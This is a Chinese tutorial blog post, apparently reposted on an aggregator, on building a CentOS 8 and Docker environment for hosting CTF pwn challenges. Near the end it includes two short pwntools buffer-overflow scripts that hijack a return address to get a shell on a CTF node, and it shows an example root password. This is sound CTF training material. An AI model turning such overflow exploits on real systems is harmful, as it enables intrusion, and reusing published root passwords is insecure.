从零开始部署CTF题目环境(docker容器)

本教程将教会大家如何安装一台可以部署docker容器形式的CTF题目的CentOS服务器。

操作步骤

1-下载操作系统镜像文件

虚拟操作系统:CentOS 8  (CentOS 9 毛病多,先不装)

镜像文件下载地址,点击X86_64即可

CentOS Stream

选一个下载快的,我选的清华 ,下那个12.2G的

下载得到

2-创建CentOS 虚拟机

VMware WorkStation点击创建新的虚拟机

选择典型即可

选择第二项,并指定你下载好的镜像文件

指定一下虚拟机名称,存放位置也改一下

50GB(只是后期不想扩容,20GB也行)

 自定义硬件,按照自己配置来,内存拿一半吧

自定义一下硬件,不然默认配置会很慢。内存取电脑一半,处理器1  内核4

第一次启动会有点久

3-安装CentOS 8系统

ctrl+alt+回车 切换全屏,选择简体中文!

配置Root密码

 密码为Rotten2023 ,点击完成

创建新用户centos

时间和区间设为上海

安装目的地点进去,然后退出来就行

没有报错,点击开始安装,时间可能会有点久

4-CentOS 换源

CentOS8 更改YUM源_centos8更换yum源-CSDN博客

换好后

yum update

5-安装docker

安装所需的软件包以允许 dnf 使用存储库通过 HTTPS 下载软件包:

sudo dnf install -y dnf-utils device-mapper-persistent-data lvm2

添加 Docker 存储库:

sudo dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo

安装docker引擎

sudo dnf install -y --allowerasing docker-ce docker-ce-cli containerd.io


启动docker服务

sudo systemctl start docker

设置开机自启(可选)

sudo systemctl enable docker

验证安装情况

sudo docker run hello-world

本地没镜像,报错 ,可使用以下指令手动拉取(默认自动下载,但我这里卡住了,所以手动拉)

sudo docker pull hello-world

 OK了

6-docker换源

Docker安装及镜像源修改_更换docker镜像源-CSDN博客

如果发现那个nano编辑器用不来,可以看这个

CentOS下nano编辑器使用教程_centos 中noao 怎么用-CSDN博客

7-题目docekr部署 

借助巨魔的CTF靶机模板

GitHub - CTF-Archives/ctf-docker-template: Deployment template for docker target machine in ctf for CTFd and other platforms that support dynamic flags

先安装git,root用户

yum install git

 拉取项目

git clone 项目网址

PWN篇

取出一个模板,替换src中的二进制文件 

默认文件名为attachement,如需替换,需修改配置文件

替换好之后,这个目录下打开控制台

docker compose up -d

如果没设置IP, 或者忘了

查看容器列表

docker ps

 查看指定容器IP

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' 1397af75dab3   #最后的是容器ID

就会自动构造image并运行docker容器,nc测试

注意,我用的是rip的题目文件,由于版本升级,可能wp要参考新版本的

旧版本无法打通

from pwn import * p=remote('node4.buuoj.cn',27036)payload=b'a'*(15)  + p64(0x401186)p.sendline(payload)p.interactive()

加了中堆栈平衡的题解

from pwn import * #context(os='linux', arch='amd64', log_level='debug')p=remote('node4.buuoj.cn',29110)payload=b'a'*(23) + p64(0x0401016)  + p64(0x401186)#p.recvuntil("please input\n")p.sendline(payload)p.interactive()

这是2023年第三次尝试自己搭建pwn环境,前两次均以失败告终,这次,在诸位大佬和群友的帮助下,终于得以完成。博主太菜了,给大家带来了麻烦,希望这篇博客能帮助大家更好的上手题目环境的搭建。

 本次学习需要由衷感谢以下几位大佬的支持

CTF-Archives开发者-感谢大大们的模板

华为大佬-协助docker问题解决

Rotten战队交流群群友-顶级pwn手-解决脚本问题

 

还有许多篇博客的编写者

祝愿CTF-Archives项目越做越好,加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/584636.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自定义docker镜像,ubuntu安装命令并导出

文章目录 问题现象解决步骤相关命令详细介绍docker save 与 docker loaddocker import 与 docker exportdocker commit 问题现象 我们的通讯服务,需要监测前端设备的在线情况(是否在线、丢包率、延迟等),使用ping命令去实现此功能…

手把手教你配置Jenkins自动化邮件通知

完成基于Jenkins的持续集成部署后,自动化测试执行后,测试结果需要通知到相关人员,除了钉钉通知外我们还可以通过Email通知到对应负责人,这里记录一下测试结果通过Jenkins邮件通知的配置与部署 01、安装插件 方法1: 进…

第P8周:YOLOv5-C3模块实现

>- **🍨 本文为[🔗365天深度学习训练营](https://mp.weixin.qq.com/s/rbOOmire8OocQ90QM78DRA) 中的学习记录博客** >- **🍖 原作者:[K同学啊 | 接辅导、项目定制](https://mtyjkh.blog.csdn.net/)** 一、 前期准备 1. 设…

c基础学习(一)

学习网站&#xff1a; C语言的过去与未来 - C语言教程 - C语言网 (dotcpp.com)https://www.dotcpp.com/course/c-intros/ C 语言简介 - C 语言教程 - 网道 (wangdoc.com)https://wangdoc.com/clang/intro 变量&#xff1a; #include<stdio.h> /*引入头文件-- 标准…

git 常用命令总结

git 工作原理图&#xff1a; git 常用命令及解释: 命令解释例子git init在当前目录初始化一个新的 Git 仓库。git initgit clone <repository>克隆一个远程仓库到本地。git clone https://github.com/example/repository.gitgit add <file>将文件的变化添加到暂存…

Gaussian-Splatting 训练并导入Unity中

这个周末玩点啥~&#x1f41e; &#x1f365;环境安装&#x1f4a1;安装C编译工具&#x1f4a1;安装Python&#x1f4a1;安装CUDA&#x1f4a1;添加ffmpeg到环境变量Path添加COLMAP-3.8-windows-cuda文件路径到环境变量Path&#x1f4a1;pytorch安装&#x1f4a1;tqdm 安装&…

『JavaScript』全面解析JavaScript中的防抖与节流技术及其应用场景

&#x1f4e3;读完这篇文章里你能收获到 理解防抖&#xff08;Debouncing&#xff09;和节流&#xff08;Throttling&#xff09;的概念&#xff1a;了解这两种性能优化技术如何帮助我们更有效地处理频繁触发的事件掌握防抖与节流的实现方法&#xff1a;学习如何在JavaScript中…

WPF+Halcon 培训项目实战(8):WPF+Halcon初次开发

前言 为了更好地去学习WPFHalcon&#xff0c;我决定去报个班学一下。原因无非是想换个工作。相关的教学视频来源于下方的Up主的提供的教程。这里只做笔记分享&#xff0c;想要源码或者教学视频可以和他联系一下。 相关链接 微软系列技术教程 WPF 年度公益课程 Halcon开发 CSD…

本地搭建微信小程序或者公众号开发服务器的简单方法

现在小程序开发需要购买服务器&#xff0c;价格还是有点贵的&#xff0c;这里好代码网分享一个可以花费小代价就可以搭建一个本地服务器&#xff0c;可以用来开发小程序和微信公众号等。 1.域名&#xff08;备案过的&#xff09; 2.阿里云注册免费的https证书 3.配置本地的ngi…

[足式机器人]Part4 南科大高等机器人控制课 CH12 Robotic Motion Control

本文仅供学习使用 本文参考&#xff1a; B站&#xff1a;CLEAR_LAB 笔者带更新-运动学 课程主讲教师&#xff1a; Prof. Wei Zhang 课程链接 &#xff1a; https://www.wzhanglab.site/teaching/mee-5114-advanced-control-for-robotics/ 南科大高等机器人控制课 Ch12 Robotic …

大数据技术发展史

今天我们常说的大数据技术&#xff0c;其实起源于Google在2004年前后发表的三篇论文&#xff0c;也就是我们经常听到的“三驾马车”&#xff0c;分别是分布式文件系统GFS、大数据分布式计算框架MapReduce和NoSQL数据库系统BigTable。 你知道&#xff0c;搜索引擎主要就做两件事…

C语言 volatile关键字

volatile关键字介绍 volatile 是一个关键字&#xff0c;用于修饰变量&#xff0c;表示该变量是易变的&#xff0c;即可能在任何时候被意外地改变。在多线程编程中&#xff0c;当多个线程同时访问同一个变量时&#xff0c;由于线程之间的交互和优化&#xff0c;可能会导致变量的…

Python 实现 PDF 到 Word 文档的高效转换(DOC、DOCX)

PDF&#xff08;Portable Document Format&#xff09;已成为一种广泛使用的电子文档格式。PDF的主要优势是跨平台&#xff0c;可以在不同设备上呈现一致的外观。然而&#xff0c;当我们需要对文件内容进行编辑或修改&#xff0c;直接编辑PDF文件会非常困难&#xff0c;而且效果…

SimpleCG小游戏开发系列(2)--贪吃蛇

一、前言 在之前的C语言小游戏开发系列我们已经介绍了扫雷游戏的开发&#xff0c;本篇我们继续此系列第二篇&#xff0c;同样是比较简单但好玩的一个游戏--贪吃蛇。因为有了之前的游戏框架&#xff0c;我们只需要直接搬来原来的框架即可&#xff0c;可以省去不少活。 先看看游…

java数据结构与算法刷题-----LeetCode 680. 验证回文串 II

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 思路&#xff1a;双指针 详情见代码注释 class Solution {//贪心双指针&a…

什么是工厂方法模式,工厂方法模式解决了什么问题?

工厂方法模式是一种创建型设计模式&#xff0c;它定义了一个用于创建对象的接口&#xff0c;但将实际的实例化过程延迟到子类中。这样&#xff0c;客户端代码在不同的子类中实例化具体对象&#xff0c;而不是直接实例化具体类。工厂方法模式允许一个类的实例化延迟到其子类&…

Springboot实现登录注册

功能&#xff1a;1、实现用户的登录 2、实现用户的注册以及重名的判断 LoginControl&#xff1a; package com.example.demo.controls;import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.RequestMapping; imp…

CEC2017(Python):五种算法(HHO、RFO、OOA、PSO、GWO)求解CEC2017

一、5种算法简介 1、哈里斯鹰优化算法HHO 2、红狐优化算法RFO 3、鱼鹰优化算法OOA 4、粒子群优化算法PSO 5、灰狼优化算法GWO 二、CEC2017简介 参考文献&#xff1a; [1]Awad, N. H., Ali, M. Z., Liang, J. J., Qu, B. Y., & Suganthan, P. N. (2016). “Problem d…

resnet18

ResNet18的基本含义是&#xff0c;网络的基本架构是ResNet&#xff0c;网络的深度是18层。但是这里的网络深度指的是网络的权重层&#xff0c;也就是包括池化&#xff0c;激活&#xff0c;线性层。而不包括批量化归一层&#xff0c;池化层。 transforms.RandomCrop(32, pa…

RabbitMQ 核心概念(交换机、队列、路由键),队列类型等介绍

RabbitMQ 核心概念(交换机、队列、路由键)&#xff0c;队列类型等介绍 RabbitMQ 是一个消息队列系统&#xff0c;它的核心概念包括交换机&#xff08;Exchange&#xff09;、队列&#xff08;Queue&#xff09;和路由键&#xff08;Routing Key&#xff09;&#xff0c;它们一起…